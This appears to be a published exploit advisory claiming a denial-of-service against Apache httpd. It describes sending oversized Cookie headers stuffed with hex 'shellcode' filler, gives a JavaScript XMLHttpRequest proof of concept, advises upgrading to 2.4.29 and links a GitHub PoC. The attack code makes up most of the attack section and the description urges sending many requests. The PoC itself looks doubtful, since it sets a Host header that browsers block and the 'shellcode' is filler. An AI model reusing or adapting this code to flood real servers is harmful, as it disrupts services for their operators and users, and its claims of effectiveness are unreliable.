1. Description
Sending a crafted http header request that contain a dump shellcode in Cookie PARAM will result in printing 400 Bad request and the dump code, apache will display a message (Size of a request header field exceeds server limit) and will take sometime to handle the request,
Sending multiple requests will results in denial of service.
2. Proof of Concept
//Our function that send http requests to the target host function httpGet(target) { var dumpShellCode = "0x30, 0x53, 0x76, 0x99, 0xbc, 0xd7, 0x2, 0x34," + "0x39, 0x5e, 0x7b, 0xc8, 0xbd, 0xfa, 0xff, 0x5b," + "0xa2, 0xe7, 0xa, 0x2d, 0x38, 0x51, 0x40, 0x62, " + "0xab, 0xd0, 0xf9, 0x6, 0x2f, 0x4c, 0x6d, 0x89, " + "0x14, 0x77, 0x5a, 0xbd, 0x68, 0x93, 0x6e, 0xd0," + "0x1d, 0xd2, 0x5f, 0x6c, 0x59, 0x98, 0xf2, 0xd5," + "0x68, 0x69, 0x50, 0x93, 0xa2, 0x7d, 0xbc, 0x1e," + "0xf, 0x64, 0x3d, 0xaa, 0x8b, 0xe8, 0xc9, 0x25, " + "0x78, 0x1b, 0x3e, 0xe1, 0x84, 0x9f, 0x4a, 0x7c," + "0x31, 0xf8, 0x1, 0xae, 0x57, 0x52, 0x77, 0x13, " + "0xea, 0x8d, 0x94, 0x17, 0x6e, 0xf9, 0x88, 0x2a," + "0xe3, 0x88, 0xb1, 0x3e, 0x67, 0x4, 0x25, 0xc1, " + "0x5c, 0x3f, 0xe2, 0xc5, 0xb0, 0x75, 0x59, 0x36," + "0xf7, 0xea, 0xd7, 0xe4, 0x91, 0x6e, 0x53, 0x2f," + "0x4e, 0x11, 0xf8, 0xdb, 0xaa, 0x85, 0x84, 0x66," + "0x47, 0x1c, 0xf5, 0xe2, 0xc3, 0xa0, 0x81, 0x7d," + "0xa0, 0xe5, 0xc, 0x2f, 0x46, 0x47, 0x72, 0xa4, " + "0xa9, 0xce, 0xeb, 0x38, 0x2d, 0x6a, 0x6f, 0xcb," + "0xb2, 0xd5, 0xfc, 0x1f, 0x36, 0x61, 0xd0, 0xf2," + "0xbb, 0xe0, 0x49, 0x56, 0x3f, 0xf6, 0x14, 0x37," + "0xe6, 0xe7, 0xca, 0x2d, 0x18, 0x83, 0x5e, 0xc0," + "0xa5"; //HTTP Request Var var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", "/", false ); // false for synchronous request //Now filling the headers information //Apache will respond in bad request with the Cookie infomation indicating that apache can't handle the request since its exceed header field limit xmlHttp.setRequestHeader("Cookie",dumpShellCode); xmlHttp.setRequestHeader("Connection","Keep-alive"); xmlHttp.setRequestHeader("Host",target); //sending the request xmlHttp.send( null ); return xmlHttp.responseText; } httpGet("127.0.0.1");
3. Solution:
Update to version 2.4.29
http://ftp.itu.edu.tr/Mirror/Apache//httpd/httpd-2.4.29.tar.bz2
4. Download POC:
https://github.com/JameelNabbo/apacheDOS-POC